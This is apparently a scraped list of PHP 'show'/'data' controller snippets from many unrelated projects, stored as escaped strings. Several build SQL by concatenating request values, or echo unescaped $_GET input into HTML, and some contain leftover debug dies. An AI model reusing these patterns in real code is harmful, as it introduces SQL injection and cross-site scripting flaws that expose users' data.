\"</td><td><a href=\\\"user.php?action=modifier&id=\" . $employee->_id . \"\\\">modifier</a></td><td><a href=\\\"user.php?action=supprimer&id=\" . $id . \"\\\">supprimer</a></td></tr>\";\n\t\t}\n\t}", "public function show(DataOrang $dataOrang)\n {\n //\n }", "public function showdata()\n {\n $datatable = \"<ul style=\\\"list-style-type:none;padding:10px;\\\"><li style=\\\"color:white;\\\">No data suggestion</li>\";\n if ($_GET) {\n if ($_GET[\"q\"]) {\n $like[\"p.name\"] = \"%{$_GET[\"q\"]}%\";\n $like['p.sku'] = \"%{$_GET[\"q\"]}%\";\n $option[\"limit\"] = 50;\n $all_ca_list = $this->sc['Product']->getDao('ProductComplementaryAcc')->getAllAccessory($where, $option, $like);\n $arr = (array)$all_ca_list;\n if (!empty($arr)) {\n $datatable = \"<ul style=\\\"list-style-type:none;padding:10px;\\\">\";\n foreach ($all_ca_list as $key => $value) {\n $datatable .= <<<HTML\n <li>\n <a href=\"#\" onclick=\"selected('{$_GET[\"ctry\"]}', '{$value->getAccessorySku()}');return false;\"\n style=\"color:white;\"\n onmouseover=\"this.style.color='#F7E741';style.fontWeight='bold';\"\n onmouseout=\"this.style.color='white';style.fontWeight='normal';\"\n >\n {$value->getAccessorySku()} :: {$value->getName()}\n </a>\n </li><hr></hr>\nHTML;\n }\n $datatable .= \"</u>\";\n }\n }\n }\n\n echo $datatable;\n }", "function show()\n {\n // carrega os dados no datagrid\n $this->onReload();\n //chama o metodo show da super classe\n parent::show();\n\n }", "function _show($id, $data)\n\t{\n\t\treturn $data;\n\t}", "public function show()\n {\n\t\t//$result = $a->selectAll();\n include(\"view/bureau.html\");\n }", "function show($data)\n{\n echo \"<pre>\";\n print_r($data);\n echo \"</pre>\";\n}", "public function showDataAprobado()\n {\n #1. Obtengo la información solicitada\n $estado = 2;\n $data = ExpedienteSdaUr::getDataExpediente($estado);\n #2. retorno al menu principal\n return view($this->path.'.data-aprobado', compact('data'));\n }", "public function showDataPendiente()\n {\n #1. Obtengo la información solicitada\n $estado = 1;\n $data = ExpedienteSdaUr::getDataExpediente($estado);\n #2. retorno al menu principal\n return view($this->path.'.data-pendiente', compact('data'));\n }", "public function getEduardoShow($data)\n {\n $sql = \"SELECT * FROM \".$this->tabla.\" WHERE id=\".$data->data;\n $tmp=$this->executeQuery($sql);\n $tablas['datos'] = $tmp[0];\n $tablas['error'] = 0;\n return $tablas;\n }", "public function showDataObservado()\n {\n #1. Obtengo la información solicitada\n $estado = 4;\n $data = ExpedienteSdaUr::getDataExpediente($estado);\n #2. retorno al menu principal\n return view($this->path.'.data-observado', compact('data'));\n }", "public function show(ProData $proData)\n {\n //\n }", "public function showIndex(){\n\t\t$tahun = 2014;\n\t\t$skpd_id = 1;\n\n\t\t$model = new DataGrafik;\n\t\t$tahun_id = $model->getIdTahunTerakhir($tahun);\n\t\t// get realisasi fisik & keuangan\n\t\t// get rencana realisasi fisik & keuangan\n\t\t$data_realisasi = $model->getDataGrafikRealisasiSkpd($skpd_id, $tahun_id);\n\n\t\t// data untuk grafik realisasi\n\t\t$data['series'] = json_encode($data_realisasi['series']);\n\t\t$data['categories'] = json_encode($data_realisasi['categories']);\n\t\t$data['chart_title'] = 'Grafik Realisasi Fisik dan Keuangan<br>Seluruh SKPD Tahun '.$tahun;\n\n\t\t// data untuk grafik realisasi bulanan\n\t\t$data_realisasi_bulanan = $this->getRealisasiSkpdBulanan($tahun_id,$skpd_id);\n\t\t$data['series_bulanan'] = json_encode($data_realisasi_bulanan['series']);\n\n\t\t// data untuk\n\t\t$data['skpd'] = $model->getSkpd();\n\t\t$data['tahun'] = $model->getTahun();\n\t\t$data['tahun_id'] = $tahun_id;\n\t\t$data['skpd_id'] = $skpd_id;\n\n\t\t// table\n\t\t$data['table_realisasi'] = $data_realisasi['table'];\n\t\t$data['table_realisasi_bulanan'] = $data_realisasi_bulanan['table'];\n\n\t\treturn View::make('umum.index', $data);\n\t}", "public function show()\n {\n $data['title'] = 'Siswa';\n $id = $this->input->get('id');\n $this->load->model('Absen_m', 'absen');\n $kehadiran = $this->absen->hitung_kehadiran_siswa($id, 'hadir');\n $sakit = $this->absen->hitung_kehadiran_siswa($id, 'sakit');\n $izin = $this->absen->hitung_kehadiran_siswa($id, 'izin');\n // cegat apa bila id nya tdk di isi ato langsung akses ke link \n if ($id !== null) {\n //Ambil Semua data absensi taruh dalam satu varible \n $data['siswa'] = $this->siswa->get_siswa_byId($id)->result_array();\n $data['kehadiran'] = $kehadiran;\n $data['sakit'] = $sakit;\n $data['izin'] = $izin;\n\n $this->load->view('templates/header', $data);\n $this->load->view('templates/sidenav');\n $this->load->view('templates/navbar', $data);\n $this->load->view('siswa/show', $data);\n $this->load->view('templates/footer');\n } else {\n show_404();\n }\n }", "public function printData($data){\n echo \"<pre>\";\n print_r($data);\n echo \"</pre>\";\n }", "public function showDataPendiente()\n {\n $data = DB::select(\"SELECT\n b.id,\n LTRIM(RIGHT('0000' + CAST(f.nroResolucion AS varchar(4)), 4))+'-'+LTRIM(YEAR(f.fechaFirma)) nro_rm,\n d.nroDocumento ruc,\n d.nombre,\n d.region,\n d.provincia,\n d.distrito,\n e.fecha_inicio,\n e.duracion,\n e.inversion_pcc,\n e.inversion_entidad,\n e.inversion_total\n FROM InicResolucionMinisterial a\n INNER JOIN (\n SELECT * FROM InicPostulante\n ) b ON b.id = a.codPostulante\n LEFT JOIN (\n SELECT * FROM InicContrato\n ) c ON c.codPostulante = a.codPostulante\n LEFT JOIN (\n SELECT * FROM vw_data_opa\n ) d ON d.id = b.codEntidad\n LEFT JOIN (\n SELECT * FROM InicProyecto\n ) e ON e.codPostulante = a.codPostulante\n LEFT JOIN (\n SELECT * FROM InicResolucionMinisterial\n ) f ON f.codPostulante = a.codPostulante\n WHERE b.codTipoIncentivo = 2 AND c.id IS NULL\");\n \n return view($this->path.'.data', compact('data'));\n }", "public function display_data() {\n return format_text($this->data, $this->dataformat, array('overflowdiv' => true));\n }", "public function show( $data )\n\t\t{\n\t\t\tforeach($data as $key => $value)\n\t\t\t{\n\t\t\t\t$this->$key = $value;\n\t\t\t}\n\t\t\n\t\t\tinclude $this->path;\n\t\t}", "public function show(data_operator $data_operator)\n {\n //\n }", "public function show()\n {\n echo $this->constructGrid();\n }", "public function indexShowSet()\n {\n $navid = I('get.nav') ? I('get.nav') : 0;\n $pid = M('admin_nav')->where('id=' . $navid)->find()['pid'];\n $navpname = M('admin_nav')->where('id=' . $pid)->find()['name'];\n $navname = M('admin_nav')->where('id=' . $navid)->find()['name'];\n $re = M('category')->where('navid=' . $navid)->select();\n $arr = array();\n foreach ($re as $k => $v) {\n $arr[] = $v['id'];\n }\n $where['cateid'] = array('in', $arr);\n $where['status'] = 1;\n $data = M('ziliao')->where($where)->order('order_number')->select();\n $assign = array(\n 'data' => $data,\n 'navname' => $navname,\n 'navpname' => $navpname,\n );\n // var_dump($data);die;\n $this->assign($assign);\n $this->display();\n\n }", "public function mostrarInfo()\n {\n // $datos.= \"Cuatrimestre\".$this->cuatrimestre;\n // return parent::mostrarInfo().\" \".$datos;\n }", "public function detail()\n\t{\n $detail['data_pengurus'] = [\n\t\t\t[\n\t\t\t\t'siapa' => 'Muhammad Romli',\n\t\t\t\t'apa' => 'Pembina Komunitas'\n\t\t\t],\n\t\t\t[\n\t\t\t\t'siapa' => 'Zulkarnain',\n\t\t\t\t'apa' => 'Ketua Komunitas '\n\t\t\t],\n\t\t\t[\n\t\t\t\t'siapa' => 'Erika Salim',\n\t\t\t\t'apa' => 'Pengembangan SDM'\n ],\n\t\t\t[\n\t\t\t\t'siapa' => 'Mela Kalina',\n\t\t\t\t'apa' => 'Media dan Informasi'\n ],\n [\n\t\t\t\t'siapa' => 'Faiz Ubadillah',\n\t\t\t\t'apa' => 'Humas dan Networking'\n ],\n [\n\t\t\t\t'siapa' => 'Wahyu Damar',\n\t\t\t\t'apa' => 'Usaha Mandir'\n ]\n\n ];\n \n // load view dengan detail\n\t\techo view(\"tucil/detail\", $detail);\n\t}", "function showData($f)\n{\n global $bolPrint;\n global $dataPrivilege;\n global $intTotalData;\n global $myDataGrid;\n $myDataGrid->strAdditionalHtml = \"\";\n global $strKriteriaCompany;\n //global $arrUserInfo;\n $arrData = $f->getObjectValues();\n $strKriteria = \"\";\n if ($arrData['dataBank'] != \"\") {\n $strKriteria .= \"AND \\\"bank_code\\\" = '\" . $arrData['dataBank'] . \"' \";\n }\n if ($arrData['dataBranch'] != \"\") {\n $strKriteria .= \"AND \\\"branch_code\\\" = '\" . $arrData['dataBranch'] . \"' \";\n }\n if ($arrData['dataPosition'] != \"\") {\n $strKriteria .= \"AND \\\"position_code\\\" = '\" . $arrData['dataPosition'] . \"' \";\n }\n if ($arrData['dataEmployeeStatus'] != \"\") {\n $strKriteria .= \"AND \\\"employee_status\\\" = '\" . $arrData['dataEmployeeStatus'] . \"' \";\n }\n if ($arrData['dataActive'] != \"\") {\n $strKriteria .= \"AND active = '\" . $arrData['dataActive'] . \"' \";\n }\n if ($arrData['dataEmployeeID'] != \"\") {\n $strKriteria .= \"AND upper(\\\"employee_id\\\") = '\" . $arrData['dataEmployeeID'] . \"' \";\n }\n if ($arrData['dataDivision'] != \"\") {\n $strKriteria .= \"AND \\\"division_code\\\" = '\" . $arrData['dataDivision'] . \"' \";\n }\n if ($arrData['dataDepartment'] != \"\") {\n $strKriteria .= \"AND \\\"department_code\\\" = '\" . $arrData['dataDepartment'] . \"' \";\n }\n if ($arrData['dataSection'] != \"\") {\n $strKriteria .= \"AND \\\"section_code\\\" = '\" . $arrData['dataSection'] . \"' \";\n }\n if ($arrData['dataSubSection'] != \"\") {\n $strKriteria .= \"AND \\\"sub_section_code\\\" = '\" . $arrData['dataSubSection'] . \"' \";\n }\n if ($arrData['dataGrade'] != \"\") {\n $strKriteria .= \"AND \\\"grade_code\\\" = '\" . $arrData['dataGrade'] . \"' \";\n }\n if ($arrData['dataAmountFrom'] != \"\") {\n $strKriteria .= \"AND total_amount >= \" . $arrData['dataAmountFrom'] . \" \";\n }\n if ($arrData['dataAmountThru'] != \"\") {\n $strKriteria .= \" AND total_amount <= \" . $arrData['dataAmountThru'] . \" \";\n }\n $strKriteria .= $strKriteriaCompany;\n $myDataGrid->setCriteria($strKriteria);\n $myDataGrid->addColumnCheckbox(\n new DataGrid_Column(\n \"chkID\",\n \"id\",\n ['width' => 30],\n ['align' => 'center', 'nowrap' => ''],\n false,\n false,\n \"\",\n \"\",\n \"string\",\n false\n )\n );\n $myDataGrid->addColumnNumbering(new DataGrid_Column(\"No\", \"\", ['width' => 30], ['nowrap' => '']));\n $myDataGrid->addColumn(\n new DataGrid_Column(\n \"Employee ID\",\n \"employee_id\",\n \"\",\n [\"nowrap\" => \"nowrap\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n true,\n 15\n )\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"employee name\"),\n \"employee_name\",\n \"\",\n [\"nowrap\" => \"nowrap\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n true,\n 35\n )\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"bank account\"),\n \"bank_account\",\n \"\",\n [\"align\" => \"center\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n true,\n 20\n )\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"bank\"),\n \"bank_name\",\n \"\",\n [\"nowrap\" => \"nowrap\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n true,\n 20\n )\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"bank account name\"),\n \"bank_account_name\",\n [\"nowrap\" => \"nowrap\"],\n [\"align\" => \"center\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n true,\n 35\n )\n );\n //$myDataGrid->addColumn(new DataGrid_Column(getWords(\"total amount\"), \"total_amount\", \"\", array(\"align\" => \"right\"), true, true, \"\", \"\", \"numeric\", true, 15));\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"total amount\"),\n \"total_amount\",\n [\"width\" => 150],\n [\"align\" => \"right\"],\n false,\n false,\n \"\",\n \"formatNumber()\",\n \"numeric\",\n true,\n 15\n )\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"branch\"),\n \"branch_code\",\n [],\n [\"nowrap\" => \"nowrap\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n true,\n 10\n )\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"division\"),\n \"division_name\",\n \"\",\n [\"nowrap\" => \"nowrap\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n false\n )\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(getWords(\"department\"), \"department_name\", \"\"),\n [\"nowrap\" => \"nowrap\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n false\n );\n $myDataGrid->addColumn(\n new DataGrid_Column(\n getWords(\"section\"),\n \"section_name\",\n \"\",\n [\"nowrap\" => \"nowrap\"],\n true,\n true,\n \"\",\n \"\",\n \"string\",\n false\n )\n );\n $myDataGrid->addButtonExportExcel(\"Export Excel\", \"employee_list.xls\", getWords($dataPrivilege['menu_name']));\n foreach ($arrData AS $key => $value) {\n $myDataGrid->strAdditionalHtml .= generateHidden($key, $value, \"\");\n }\n $myDataGrid->getRequest();\n //--------------------------------\n //get Data and set to Datagrid's DataSource by set the data binding (bind method)\n $strSQL = \"\n SELECT t1.id, employee_id, employee_name, bank_name, id_company, t1.division_code, division_name, active, t1.position_code, t1.employee_status, t1.grade_code, t1.sub_section_code,\n t1.department_code, department_name, t1.section_code, section_name, branch_code, t1.bank_code, t1.bank_account, t1.bank_account_name, \";\n if ($arrData['dataRequestStatus'] != \"\") {\n $strSQL .= \"SUM(CASE WHEN (t2.status = \" . $arrData['dataRequestStatus'] . \") THEN amount ELSE 0 END) AS total_amount \";\n } else {\n $strSQL .= \"SUM(amount) AS total_amount \";\n }\n $strSQL .= \"\n FROM hrd_employee AS t1 LEFT JOIN hrd_donation AS t2 ON t1.id = t2.id_employee\n LEFT JOIN hrd_bank AS t3 ON t1.bank2_code = t3.bank_code \n LEFT JOIN hrd_division AS t4 ON t1.division_code = t4.division_code \n LEFT JOIN hrd_department AS t5 ON t1.department_code = t5.department_code \n LEFT JOIN hrd_section AS t6 ON t1.section_code = t6.section_code \n \";\n if (getPostValue('dataDonationType') != \"\") {\n $strSQL .= \"WHERE donation_code = '\" . getPostValue('dataDonationType') . \"' \";\n }\n $strSQL .= \" GROUP BY t1.id, employee_id, employee_name, bank2_account, bank2_account_name, bank_name, id_company ,division_name , active, t1.division_code , t1.department_code, department_name, t1.section_code, section_name, branch_code \";\n $strSQL = \"SELECT * FROM ($strSQL) AS t0 WHERE 1=1 \";\n $strSQLCOUNT = \"SELECT count(*) FROM ($strSQL) AS t0 WHERE 1=1 \";\n $db = new CdbClass;\n if ($db->connect()) {\n $myDataGrid->totalData = $myDataGrid->getTotalData($db, $strSQLCOUNT);\n $dataset = $myDataGrid->getData($db, $strSQL);\n $myDataGrid->bind($dataset);\n }\n return $myDataGrid->render();\n}", "public function renderData();", "public function data_tahun_ajaran()\n\t{\n\t\t$data['data'] = $this->m_aka->data_tahun_ajaran(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'mata_kuliah/data_tahun_ajaran';\n\t\t$this->load->view('content', $data);\n\t}", "public function showData()\n {\n // $all_students = Crud::latest() ->get(); //It will show latest data as descending order\n\n $all_students = Crud::all(); // it will show all data as ascending order\n return view('crud.all',[\n 'students' =>$all_students,\n ]);\n }", "public function show(BankData $bankData)\n {\n //\n }", "public function data_kbaak()\n\t{\n\t\t$data['data'] = $this->m_aka->data_kbaak(); \n\t\t//$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'kbaak/data_kbaak';\n\t\t$this->load->view('content', $data);\n\t}", "public function display() {\n\t\techo $this->data;\n\t\treturn;\n\t}", "public function getDataDetail()\n {\n $data['prestasi'] = $this->db->get('prestasi')->result_array();\n $data['tingkatan'] = $this->db->get('tingkatan')->result_array();\n $data['jenis_kegiatan'] = $this->db->get('jenis_kegiatan')->result_array();\n $data['bidang_kegiatan'] = $this->db->get('bidang_kegiatan')->result_array();\n header('Content-type: application/json');\n echo json_encode($data);\n }", "public function data_staff_akademik()\n\t{\n\t\t$data['content'] = 'admin/data_staff_akademik';\n\t\t$data['data'] = $this->m_aka->data_staff_akademik();\n\t\t$data['pagination'] = $this->pagination->create_links();\t\t\n\t\t$this->load->view('content', $data);\n\t}", "final static public function ShowData($id = \"\"){\n\t\t$id = ($id !== \"\") ? \"= \" . $id : \"\";\n\t\t$Scode = 'SELECT * FROM ' . get_called_class() . \" WHERE id \" . $id;\n\t\t$Result = self::executeScode($Scode);\n\t\treturn $Result;\t//return display html table code\n\t}", "public function show($id)\n {\n $dataanak = mysqli_query(\n $this->koneksi,\n \"select * from data_anak where id='$id'\"\n );\n return $dataanak;\n }", "public function show(UserData $userData)\n {\n //\n }", "public function show(informasi $informasi)\n {\n //\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show($id)\n {\n //get form like show specifi record\n return \"in show function\";\n }", "public function data_pangkat()\n\t{\n\t\t$data = array(\n\t\t\t'data_pangkat' => $this->master_pangkat_model->select_master_pangkat(), \n\t\t);\n\n\t\t$this->load->view('data_pangkat_content', $data, FALSE);\n\t}", "public function listdataSDMAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('SDM');\n }", "public function show(MataKuliah $mataKuliah)\n {\n //\n }", "public function show()\n {\n //need to change in future for filtering data by session year with current year data;or create a new view for current session year;\n $sections=Section::orderBy('id','DESC')->where('bId', Auth::guard('web')->user()->bId)->with('classes')->with('sessionYear')->get();\n\n $data_table_render = DataTables::of($sections)\n\n ->addColumn('action',function ($row){\n return '<button class=\"btn btn-info btn-sm\" onClick=\"editSection('.$row['id'].')\"><i class=\"fa fa-edit\"></i></button>'.\n '<button onClick=\"deleteSection('.$row['id'].')\" class=\"btn btn-danger btn-sm delete_section\"><i class=\"fa fa-trash-o\"></i></button>';\n })\n ->rawColumns(['action'])\n ->addIndexColumn()\n ->make(true);\n return $data_table_render;\n }", "public function show(DatosPersonales $datos)\n {\n echo \"<pre>\";\n var_dump($datos);\n echo \"</pre>\";\n }", "public function data_jadwal_kuliah()\n\t{\n\t\t$data['data'] = $this->m_aka->data_jadwal_kuliah(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'mata_kuliah/data_jadwal_kuliah';\n\t\t$this->load->view('content', $data);\n\t}", "public function data_pekerjaan()\n\t{\n\t\t$data = array(\n\t\t\t'data_pekerjaan' => $this->master_pekerjaan_model->select_master_pekerjaan(), \n\t\t);\n\n\t\t$this->load->view('data_pekerjaan_content', $data, FALSE);\n\t}", "public function CetakDetail($data) {\n\t\t$filter = $this->input->post('filter');\n\t\t$length = $this->input->post('length');\n\t\t$start = $this->input->post('start');\t\t\t\t\n\t\t$draw = $this->input->post('draw');\t\t\t\n\t\t$saringan = array();\n\t\tif($filter){\n\t\t\tforeach($filter as $value) {\n\t\t\t\t$saringan[str_replace(\"[]\",\"\",$value['name'])][] = $value['value'];\n\t\t\t}\n\t\t}\n\t\t\n\n\t\t$data = $this->get_dash_list_item($saringan);\t\n\t\t$recordsTotal = count($data['pritem']);\n\t\t$data = array_slice($data['pritem'],$start,$length);\n\t\t$recordsFiltered = count($data);\n\t\t$result = array(\n\t\t\t\"length\"=>$length,\n\t\t\t\"start\"=>$start,\n\t\t\t\"draw\" => intval($draw), \n\t\t\t\"recordsTotal\" => intval($recordsTotal), \n\t\t\t\"recordsFiltered\" => intval($recordsTotal),\n\t\t\t\"data\" => $data \n\t\t\t); \n\t\techo\"<pre>\"; \n\t\tprint_r($result);die;\n\n\t\t$this -> load -> helper(array('dompdf', 'file'));\n\t\t$html = $this -> load -> view('ec_cetak_log', $result, true);\n\t\t$filename = 'Auction';\n\t\t$paper = 'A4';\n\t\t$orientation = 'potrait';\n\t\tpdf_create($html, $filename, $paper, $orientation, false);\n\n\t}", "protected function view() {\n global $str;\n\n $data = parent::view();\n // name, inhalt, opt -> rechte, label,tooltip\n $data[] = new d_feld('prod_land', self::getProdLand(), null, 698);\n $data[] = new d_feld('gattung', $str->getStr($this->content['gattung']), null, 579);\n $data[] = new d_feld('prodtech', self::getThisProdTech(), null, 571);\n $data[] = new d_feld('laenge', $this->content['laenge'], null, 580);\n $data[] = new d_feld('fsk', $this->content['fsk'], null, 581);\n $data[] = new d_feld('praedikat', $str->getStr($this->content['praedikat']), null, 582);\n $data[] = new d_feld('bildformat', self::getBildformat(), null, 608);\n $data[] = new d_feld('mediaspezi', self::getThisMediaSpez(), null, 583);\n $data[] = new d_feld('urauff', $this->content['urauffuehr'], null, 584);\n $data[] = new d_feld('regie', self::getRegie(), null, 1000);\n\n return $data;\n }", "public function actionShowDataGet()\n {\n $filterData = new FilterDataGetRequest([\n 'model' => $this->module->model,\n 'query' => $this->module->query,\n 'useCache' => $this->module->useCache,\n 'useDataProvider' => $this->module->useDataProvider,\n ]);\n $data = $filterData->getData();\n\n //set dynamic route for this action\n $this->setRoute($this->module->controllerRoute, 'get');\n\n $this->module->ajaxViewParams['simpleFilterData'] = $data;\n\n return $this->renderPartial('filter-data-wrapper', [\n 'viewFile' => $this->module->ajaxViewFile, 'viewParams' => $this->module->ajaxViewParams\n ]);\n }", "public function setDataGrid() {\n $province_id = $this->input->post('province_id');\n $datos = $this->conn->getData($province_id);\n die(\"{data:\" . json_encode($datos) . \"}\");\n }", "function getShow() {\n\n global $f3;\n global $tvdb;\n\n $series = $f3->get('PARAMS.param1');\n $data = $tvdb->getSeries($series);\n\n echo json_encode($data);\n }", "function data_detail($root, $id)\n{\n\t$sql = 'SELECT nim, nama, alamat FROM' .MHS. 'WHERE nim='.$id;\n\t$res = mysql_query($sql);\n\tif ($res)\n\t{\n\t\tif (mysql_num_rows($res))\n\t\t{\n\t\t?>\n\t\t<div class=\"tabel\">\n\t\t<table border=1 width=700 cellpadding=4 cellspacing=0>\n\t\t\t<?php\n\t\t\t$row = mysql_fetch_row($res);\n\t\t\t?>\n\t\t\t<tr>\n\t\t\t\t<td>NIM</td>\n\t\t\t\t<td><?php echo $row[0];?></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td>Nama</td>\n\t\t\t\t<td><?php echo $row[1];?></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td>Alamat</td>\n\t\t\t\t<td><?php echo $row[2];?></td>\n\t\t\t</tr>\n\t\t</table>\n\t\t</div>\n\t\t<?php\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo 'Data tidak ditemukan';\n\t\t}\n\t\t@mysql_close($res);\n\t}\n}", "public function show(Data $data)\n {\n return view('datas.show', compact('data'));\n }", "public function show()\n\t{\n\t\t\n\t}", "public function show($id)\n {\n $datapengasuh = mysqli_query(\n $this->koneksi,\n \"select * from pengasuh where id='$id'\"\n );\n return $datapengasuh;\n }", "public function displaydosen()\r\n {\r\n $query = \"select * from data_dosen\";\r\n return $this->db->query($query);\r\n }", "function jabatan_data()\n\t{\t\t\n\t\t$data['j'] = $this->M_master->data_jabatan();\t\n\t\t$data['title'] = 'Data Jabatan';\t\t\n\t\t$data['isi'] = 'contents/jabatan_data';\n\t\t$this->load->view('wrapper', $data);\n\t}", "public function data_biaya_kuliah()\n\t{\n\t\t$data['data'] = $this->m_aka->data_biaya_kuliah(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'keuangan/data_biaya_kuliah';\n\t\t$this->load->view('content', $data);\n\t}", "function show( $id )\n {\n $tema = $this->model_valasztott->getDiakTema($this->logged_in['uid']);\n if ($tema['valasztott_id'] != $id) {\n redirect(base_url().'valasztott');\n }\n\t\t$data = $this->model_valasztott->get( $id );\n\n if (empty($data)) {\n redirect(base_url());\n }\n\n $fields = $this->model_valasztott->fields( TRUE );\n \n $this->template->assign( 'id', $id );\n\t\t$this->template->assign( 'valasztott_fields', $fields );\n\t\t$this->template->assign( 'valasztott_data', $data );\n\t\t$this->template->assign( 'table_name', 'Valasztott' );\n\t\t$this->template->assign( 'template', 'show_valasztott' );\n\t\t$this->template->display( 'frame_admin.tpl' );\n }", "public function show(Abz_Employees $sample_data)\n {\n //\n }", "function mostrar($data)\n\t{\n\t\tif (is_array($data) || is_object($data))\n\t\t{\n\t\t\tprint_r(json_encode($data).\"\\n\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprint_r($data.\"\\n\");\n\t\t}\n\t}", "public function listdataKeuAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('KEUANGAN');\n }", "public function show(Userdato $userdato)\n {\n //\n }", "public function show($id)\n\t{\n\t\t$data = Koperasi::find($id);\n\t\treturn View::make('usp.koperasi.show')->with('data',$data)\n\t\t->with('page','Koperasi')->with('modul','Show');\n\t}", "public function listdataPngAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('PENGADAAN');\n }", "function data($show, $key)\n {\n if(array_key_exists($show, $this->_db))\n {\n $s = $this->_db[$show];\n if($s)\n {\n return array_key_exists($key, $s) ? $s[$key] : \"-\";\n }\n }\n return \"-\";\n }", "public function viewData($id = null) {\n\t\t$data = $this->Molecular_feature->findById($id); //if the id is passed then find on that\n if (!$data){ //if the set does not exist\n throw new NotFoundExcpetion(__('Invalid Data Record'));\n } //if the sample set with that id exists\n $this->set('info', $data);// passes the set to the page\n\t}", "function display_emp_personal_data()\n{\n if (isset($_GET['id'])) {\n $emp_data = select_employee_personal_data(escaped_str($_GET['id'])); ?>\n <div class=\"personal-data\">\n <p class=\"h3\">Date personale ale angajatului: <i class=\"text-black-strong\">\n <?= $emp_data['surname'] . \" \" . $emp_data['name'] . \" \" . $emp_data['middle'] . \" \" ?></i>\n <a class=\"small red\" href=\"angajat_edit.php?id=<?= $_GET['id'] ?>\"\n title=\"Editeaza datele personale ale angajatului\">editeaza</a></p>\n <hr>\n <?php for ($i = 1; $i <= 9; $i++) { ?>\n <p class=\"col-xs-12 col-sm-6 col-md-4 col-lg-4 text-muted\">- <?= $emp_data[$i][1] ?> <i\n class=\"text-black-strong\"><?= $emp_data[$i][0] ?> </i></p>\n <?php } ?>\n <div class=\"clearfix\"></div>\n <hr>\n </div>\n <?php\n } else {\n echo \"<h2>Alege un angajat pentrua vedea detalii</h2>\";\n }\n return;\n}", "public function showData()\n {\n $students=DB::table('student')->paginate(3);\n\n // 2)Customizing Pagination URLs\n // $students->withPath('/cs/students');\n\n // 3)Retrieve Data With SimplePagination\n // $students=DB::table('student')->simplePaginate(3);\n\n\n\n return view('student', ['students'=>$students]);\n }", "public function show(Barang_Keluar $barang_Keluar)\n {\n //\n }", "public function listdataTAPAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('TATA PERSURATAN');\n }", "abstract protected function show();", "public function data_kohort(){\n\t\t$tahun = \"t_tahun_akademik\";\n\t\t$kelas = \"t_kelas\";\n\t\t$prodi = \"t_prodi\";\n\t\t$data['content'] = \"report/kohort\";\n\t\t$data['data_tahun'] = $this->m_aka->get_all($tahun);\n\t\t$data['kelas'] = $this->m_aka->get_all($kelas);\n\t\t$data['prodi'] = $this->m_aka->get_all($prodi);\n\t\t$this->load->view(\"content\", $data);\n\t}", "public function data_pengumuman_akademik()\n\t{\n\t\t$data['data'] = $this->m_aka->data_pengumuman_akademik(); \n\t\t$data['pagination'] = $this->pagination->create_links();\n\t\t$data['content'] = 'posting_pengumuman/data_pengumuman_akademik';\n\t\t$this->load->view('content', $data);\n\t}", "public function view_result_data_list_details($id_paciente)\r\n {\r\n \t\r\n \t$id_pacientex = $id_paciente;\r\n \t$query = $this->db->query(\"select * from exam_datos_generales where url_unico='\".$id_paciente.\"'\");\r\n\t\tforeach ($query->result() as $emp) {\r\n\t\t\t$nombrex = $emp->apellido_paterno.\" \".$emp->apellido_materno.\", \".$emp->nombre;\r\n }\r\n \r\n\r\n $data['segmento'] = $id_pacientex;\r\n $data['the_id']=$this->Impresion_model->fromUrlToId($id_pacientex);\r\n $data[\"nombre_plantilla\"] = $this->Impresion_model->getNombrePlantilla($id_pacientex);\r\n\r\n\r\n\t\tif (!$data['segmento']) {\r\n\t\t\t$data['laboratorio_view_register'] = $this->ResultadoFinal_model->laboratorio_view_register_url();\r\n\t\t\t\r\n\t\t} else {\r\n\t\t\t$data['laboratorio_view_register'] = $this->ResultadoFinal_model->laboratorio_view_register_url($data['segmento']);\r\n }\r\n \r\n \r\n\t\t$data['title'] = array($nombrex);\r\n //$this->load->view('resultadofinal/prueba',$data);\r\n $this->load->view('resultadofinal/plantilla',$data);\r\n\r\n\r\n }", "public function visualizzazione(){\n $nameColumn = $this->getColumnName();\n $tuple = $this->read();\n foreach($nameColumn as $nome){\n $x = ' <td> '. $nome . ' </td> ';\n echo $x;\n }\n \n foreach($tuple as $ris){\n $str ='<tr> <td> '.$ris->getId(). ' </td> '.\n '<td> '.$ris->getNome(). '</td>'.\n '<td> '.$ris->getUsername(). '</td>'.\n '<td> '.$ris->getPassword(). '</td>'.\n '<td> '.$ris->getEmail(). '</td>'.\n '<td> '.$ris->getMuseo(). '</td>'.\n '</tr>';\n echo $str;\n };\n }", "public function show()\n\t{\n\n\t}", "public function show($id)\n {\n $datasiswa = mysqli_query($this->koneksi,\"select * from ulangan where id='$id'\");\n return $datasiswa;\n }", "public function show()\n {\n //\n }", "public function o_nama()\n {\n $this->show('o_nama',[]);\n }", "public function 